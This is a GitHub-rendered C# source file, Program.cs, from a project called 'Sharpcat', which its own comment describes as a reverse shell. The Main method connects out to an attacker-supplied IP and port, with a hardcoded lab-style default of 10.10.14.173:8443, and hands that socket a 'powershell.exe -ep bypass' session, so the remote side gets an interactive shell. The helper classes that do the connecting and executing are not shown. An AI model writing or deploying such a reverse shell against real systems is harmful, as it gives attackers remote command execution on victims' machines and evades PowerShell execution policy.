-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathProgram.cs
53 lines (47 loc) · 1.63 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
using System;
using System.Linq;
using System.Net;
using System.Net.Sockets;
// Currently only reverse shell
// 2 or 3 command line parameters: IPaddress, PortNumber, "command <parameters"
// command is optional, defaults to "powershell.exe -ep bypass"
namespace Sharpcat
{
class Program
{
public static string ip = "10.10.14.173";
public static int port = 8443;
public static string command = "powershell.exe -ep bypass";
public static Socket client;
static void Main(string[] args)
{
if (args.Count() == 2 || args.Count() == 3)
{
// IP address port "command with parameters"
String ip = args[0];
int port = int.Parse(args[1]);
if( args.Count() == 1 || args.Count() > 3)
{
Console.WriteLine("Missing, or too many arguments");
return;
}
if (args.Count() == 3)
{
command = args[2];
}
if(!Client.Connect(ip, port, out client))
{
//Console.Write("Connection Error");
return;
}
//Console.WriteLine("Connected to server, calling DoExec");
if (!Exec.DoExec(command, ref client))
{
//Console.WriteLine("DoExec failed");
Client.Close(client);
}
//Console.WriteLine("Done");
}
}
}
}